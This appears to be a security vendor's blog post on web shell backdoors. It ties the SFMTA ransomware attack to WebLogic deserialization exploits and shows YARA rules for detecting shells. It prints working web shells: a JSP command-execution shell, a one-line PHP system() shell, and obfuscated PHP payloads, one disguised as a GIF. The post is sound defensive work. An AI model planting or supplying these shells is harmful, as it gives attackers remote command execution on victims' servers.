Web shells are nothing new, but their use continues to plague security professionals and their customers. With low anti-virus detection rates and few good tools to aid in discovery, how can you fight back?
A breach has occurred
On November 25th, 900 San Francisco Municipal Transportation Agency (SFMTA) computers were infected by a ransomware variant known as HDDCryptor. The ransom demand was 100 bitcoins (approximately $73,000). Due to the attack the SFMTA was temporarily unable to collect an estimated $50,000 in fares.
"You Hacked, ALL Data Encrypted, Contact For Key(cryptom27@yandex.com)ID:601, Enter Key:"
The immediate question is: “How did this happen?” In a press release, the SFMTA stated that their network “was not breached from the outside.” However, journalist Brian Krebs, in collaboration with Alex Holden of Holden Security Inc., reported that the SFMTA attacker “has been using a number of tools which enabled the scanning of large portions of the Internet and several specific targets for vulnerabilities” and that the “most common vulnerability used [was] ‘weblogic unserialize exploit’.”
Tenable is quite familiar with the various WebLogic deserialization exploits. The original vulnerability, CVE-2015-4852, was released as a zero day by FoxGlove Security. Further, Oracle’s original fix proved insufficient and led to CVE-2016-0638, CVE-2016-3510, and CVE-2016-5535— the last of which was recently patched in October, nearly a year after the original FoxGlove Security disclosure.
Nessus Flagging Deserialization Vulnerabilities in WebLogic
WebLogic web shell backdoor
Despite the SFMTA’s reassurances, the ransomer further claimed to “still have backdoors in the SMFTA network.” While many may be disinclined to take the word of this criminal, I believe the SFMTA would do well to hunt for any possible backdoors.
If WebLogic was the entry point into the SFMTA network, then it would have been trivial to drop a web shell backdoor onto the server to facilitate future access. WebLogic is perfect for a web shell because it can interpret JavaServer Pages (JSP) files.
For example, I took the following JSP web shell from the ysoserial project and I put it in the directory where WebLogic’s console application stores its cascading style sheets:
<%@ page import="java.util.*,java.io.*"%><html><body><form method="GET" name="myform" action=""><input type="text" name="cmd"><input type="submit" value="Send"></form><pre><%
if (request.getParameter("cmd") != null)
{
out.println("Command: " + request.getParameter("cmd") + "<br>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null )
{
out.println(disr);
disr = dis.readLine();
}
}
%></pre></body></html>
I can then remotely execute shell commands from my browser via the WebLogic server:
Not only will this web shell provide backdoor access after WebLogic has been patched, but it also has a ridiculously low antivirus detection rate: 2/54.
Web shells: a wider problem
Web shells aren’t a WebLogic specific problem. Many web servers make great hosts for malicious shells. This has become such a problem that last year US-CERT issued an alert warning about the rising threat of web backdoors.
Web shells may seem obvious and unsophisticated, but advanced actors are using them as well. Deep Panda and Emissary Panda have both been known to use web shells like China Chopper. Crowdstrike wrote a very interesting article detailing a couple of Deep Panda’s backdoors that they encountered on an engagement.
But web shells aren’t just for sophisticated attackers. In my search for web shell samples, I used GitHub to search the many WordPress and Joomla! sites that are backed up there. Unsurprisingly, there are hundreds of these sites just riddled with backdoors. Consider this issue submitted by @tenacioustek:
A large chunk of the blame for that level of infection is not patching an Internet facing server. However, there are other problems that should be considered. For instance, where are the tools for detecting web shells? Certainly, some exist (web shell detector and LOKI), but are they getting used? How well would they operate at an enterprise level?
Another part of the problem is the bad AV detection rates. I already showed you a JSP web shell with a 2/54 rate. In an excellent article by dfir it!, they present this simple PHP shell:
<? system($_REQUEST['cmd']); ?>
which has a detection rate of 0/54.
While there are better detection rates on some more well known shells like PBot (23/54), WSO (30/54), or C99 (45/57), it seems clear to me that AV is not as effective on this front as it could be.
A solution
As part of Nessus v6.8 in July 2016, we released a file system scanner that uses YARA. We even wrote a blog entry about it. YARA is perfect for hunting down web shells.
Consider the following YARA rule:
rule generic_jsp
{
meta:
description = "Generic JSP"
family = "JSP Backdoor"
filetype = "JSP"
hash = "6517e4c8f19243298949711b48ae2eb0b6c764235534ab29603288bc5fa2e158"
strings:
$exec = /Runtime.getRuntime\(\).exec\(request.getParameter\(\"[a-zA-Z0-9]+\"\)\);/ ascii
condition:
all of them
}
This rule causes Nessus® to flag the web shell that I dropped onto the WebLogic server earlier in this blog:
More YARA rules
The problem with YARA is that you need rules for it to work. Unfortunately, Nessus doesn’t yet come with a rule set, but there are great projects like YARA Rules and LOKI that share their web shell rules with the world. Tenable has been working on a rule set that we hope to open source soon. Until then, here are a few of the more interesting web shells that we’ve created rules for.
Consider this PHP web shell:
<?php
eval(gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JK
hz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFA
SoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7
WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRX
ReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+e
BSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu
6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ
6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59
BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbG
jWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/l
lHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxL
E5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5R
fqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5n
mf1ZzViIbQKZets3yT7f+HLk8fj9+hc7ksiB4Y7r2D4m95mRkvnTThkDJ02fyfprDrqZAgtHr9kUxO
HgncP5unRxNpgjulSbJ4NhYvpjTPoiGhx7jHZPhQ9JoM7ruSI8fjYJU+2uJqxLEFYcVPAS/VIwpsge
D5LtjL/n4gnN4ajlxkeIt0VEbHQ8VkNW+218DvNJrvbAZ49NE+U4yLaWauHrjo3ZVtGAiVkdcff5Fz
vPTvzWRGc0GPrEbBdyyDUbO6DfREWVNpYK0rRsXqDpEleLwY4UYh8kaGqgp7Muqr8OmAgmiJ17hjeV
Hv0KjZtNYnNspAa7kDo3XyfOcg5Yg4BFB6Jl9wFkLs+5OK2rUaK5+dLlJGl6oottG2hGH2J3YrPyrt
B0bNSHPDOsUm3vHzgkO5K+1AtWY5XRWxl6gHoUT89d0eJSxoK2cNN4ybPrs+IXbHfUmEXf1LRGe5jM
QU1g/JmTBmCp14dPn87j1l3xsU1y6YhiAKEDTRwoLS8lMkfZJ+F88eyHMavB40JuuPylxbXxa1CVCc
1u46pd5JIYRWiLZtlpEyk7DZLy7b37oWG3as9cjNYmIyEhUT5dP1qSSlb/gb2WQkh9yYafQ8gvXf4z
4SUXFBmMKvfw3HNsnK+OG/s1AJlxTmucgOGraHeonLXVIkPCsszYMUUhpol6w9wbJMbcNqC8vkFND3
CDJ59fC/ET6rUzcx5CgzdtCtUhAZvxbUw67m1gkeIpIT8/rnePaUFaOCcyVQ7V0mRiVMVtLybhE40K
SSVfSC/4OgxD8dBPRdgvGozw4saesaI+Cg6+VmYLWH8mtqIzPTbumJIK2nbHkQ4bKwRni0/LF5Jxpg
mwzxzKwu6tvNH/Zl5kHICTRnDLE2dXh+X7J21kvv/JZmLkzTcdLMOMdT2nRMjHW0ewJc8a4uUnwV2m
ncuWc9akhAhk0WSbohcxle8kvVnFSSPpkpTIRmOCokAUzmZ64els5xhIvEaKcuaT0XAcD33TeDM/6c
pasLjKnsRcb/+7IZvnqZ954dP4a3CJ+ap7XfY1J/TNAzzPfOG4DcO4AobWDd4GWTg0CXUsGj/CvuVR
fRP9h5+rgwbZXdR9cnvs430dIs1QxKxfhCLVUk9AwmAV+PbLMYCi30fz2Y2oFvUcTLMGduWLmZVu/k
vEUx0t9jJZnJ1DPGyjdp8LgUWduCqrNI0yQFISHLsynWIysNiYRsiq6k6D6YPMJFRYFxX3VMBu9kFs
LcyxxMF+IYzWGoAfJrG47sotOG/d3VvM6jtCqzghSiBTVPQnuTAUBW4g5YhUwisK6vVXY4youhrIJf
NqaimOpte+ISnA2wvr5ywYUhiYFUIzP15xy4wXwUonn/FphXphwK7xRA4uynSxmJ5XaZ62Ffa6jYsg
JgQEwaoCwYb895+/f//+7/8="))); ?>
This is an obfuscated version of PHP/Small.B that has a detection rate of 8/54 on VirusTotal. Just looking at the code, you probably assume that the eval(gzinflate(base64_decode()))) will unmask the web shell. However, that isn’t the case at all. Instead, this statement generates another eval(gzinflate(base64_decode()))) which will generate another and another and another - until eventually the web shell is finally exposed. You can find the deobfuscated version on GitHub.
Another obfuscated PHP script that we’ve seen is this uploader:
GIF89GHZ<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJ
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); ?>
Notice how it starts out with the text GIF89GHZ? I think this is an attempt to fool automated tools into believing that it is a GIF. For example, the Linux file utility says this:
albinolobster@ubuntu:~ $ file 3xp.php
3xp.php: GIF image data 23112 x 15370
I’m not entirely certain why this particular script uses GIF89GHZ. Far more popular is GIF89a as described here. Either way, you can see again that this script also relies on eval() and built-in PHP functions for obfuscation. Both the obfuscated and deobfuscated versions of this script have fairly low detection rates: 14/54 and 3/49 respectively.
Writing a rule to detect this type of obfuscation isn’t too hard if you are willing to accept that using eval followed by a string modifying function is an indicator of malicious intent:
rule eval_statement
{
meta:
description = "Obfuscated PHP eval statements"
family = "PHP.Obfuscated"
filetype = "PHP"
hash = "9da32d35a28d2f8481a4e3263e2f0bb3836b6aebeacf53cd37f2fe24a769ff52"
hash = "8c1115d866f9f645788f3689dff9a5bacfbee1df51058b4161819c750cf7c4a1"
hash = "14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361"
strings:
$obf = /eval[\( \t]+((base64_decode[\( \t]+)|(str_rot13[\( \t]+)|(gzinflate[\( \t]+)|(gzuncompress[\( \t]+)|(strrev[\( \t]+)|(gzdecode[\( \t]+))+/
condition:
all of them
}
The last web shell I want to share is this shell shared by @bartblaze that uses the Free Online PHP Obfuscator (FOPO) and has a 0/53 detection rate. The shell is too big to paste here, but we are only really interested in the start. It looks like this:
<?php
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator:
http://www.fopo.com.ar/ This code was created on Tuesday, March 15th, 2016 at 5:21 UTC from IP 158.255.211.112 (tr) Checksum: e5a931bb23bbcc2dbf286decc8e2b2b72a7d9b0b
*/ $g2a594c0="\x62\x61\163\145\66\64\137\144\145\143\157\144\145";@eval($g2a594c0( "Ly9Oc044UThBMCtXVVJ6NytPQ2VkU0lGeFczNEwrR1NZVlJnZHN5M1pKK01mSXRJUkRYeU1OOGR2RX
This might look a little weird but it is actually pretty straightforward. Cleaned up a bit this is really:
$g2a594c0=”base64_decode”;
@eval($g2a594c0(“…”);
Not too different from what we’ve seen in the previous obfuscated shells right? The only catch is that the Free Online PHP Obfuscator changes up how it encodes the base64_decode string. Here are some samples:
$ueafa759="\x62\141\163\x65\66\64\x5f\x64\x65\143\x6f\x64\145";
$c03a9f9c="\142\141\163\145\x36\64\x5f\x64\x65\x63\157\x64\x65";
$p44aaf5f="\x62\141\163\145\66\64\x5f\x64\145\143\x6f\x64\x65";
Each sample uses a different combination of hex and octal values in order to spell out base64_decode. Luckily, YARA makes this quite easy to detect:
rule fopo
{
meta:
description = "Free Online PHP Obfuscator"
family = "PHP.Obfuscated"
filetype = "PHP"
hash = "b96a81b71d69a9bcb5a3f9f4edccb4a3c7373159d8eda874e053b23d361107f0"
hash = "bbe5577639233b5a83c4caebf807c553430cab230f9a15ec519670dd8be6a924"
hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
strings:
$base64_decode = /\$[a-zA-Z0-9]+=\"\\(142|x62)\\(141|x61)\\(163|x73)\\(145|x65)\\(66|x36)\\(64|x34)\\(137|x5f)\\(144|x64)\\(145|x65)\\(143|x63)\\(157|x6f)\\(144|x64)\\(145|x65)\";@eval\(/
condition:
all of them
}
Conclusion
Malicious web shell use is widespread. If you are in charge of a web server, you must remain vigilant. Keep the server up to date with the latest patches and use any available tooling to ensure that no web shells are hiding on your server.